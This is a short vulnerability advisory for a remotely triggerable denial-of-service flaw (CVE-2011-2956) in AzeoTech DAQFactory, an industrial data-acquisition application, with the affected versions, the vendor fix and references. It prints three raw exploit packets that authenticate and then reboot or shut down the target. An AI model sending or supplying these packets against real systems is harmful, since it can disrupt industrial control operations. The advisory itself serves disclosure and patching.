AzeoTech DAQFactory Denial of Service Vulnerability

Bugtraq ID:	48955
Class:	Design Error
CVE:	CVE-2011-2956
Remote:	Yes
Local:	No
Published:	Jun 24 2011 12:00AM
Updated:	Oct 12 2011 11:30PM
Credit:	Knud Erik Højgaard of nsense.
Vulnerable:
Not Vulnerable:

AzeoTech DAQFactory Denial of Service Vulnerability

AzeoTech DAQFactory is prone to a denial-of-service vulnerability.

Attackers can exploit this issue to cause the application to crash, denying service to legitimate users.

Versions prior to DAQFactory 5.85 are vulnerable.

AzeoTech DAQFactory Denial of Service Vulnerability

Attackers can exploit this issue by sending a specially crafted packet to the affected application.

The following exploit requests are available:

preamble:
"\x01\x00\x09\x00CPassword\x00"

reboot:
"\x01\x00\x0f\x00CCommandGeneric\x01\x00\x00\x00\x04\x00\x00\x00"

shutdown:
"\x01\x00\x0f\x00CCommandGeneric\x01\x00\x00\x00\x06\x00\x00\x00"

AzeoTech DAQFactory Denial of Service Vulnerability

Solution:
Updates are available. Please see the references for more information.

AzeoTech DAQFactory Denial of Service Vulnerability

References:

• AzeoTech Homepage (AzeoTech)
  
• nSense Vulnerability Research Security Advisory NSENSE-2011-004 (nSense)
  
• Revision history AzeoTech DAQFactory (AzeoTech)
  
• ICSA-11-122-01�??AZEOTECH DAQFACTORY NETWORKING VULNERABILITIES (US-CERT)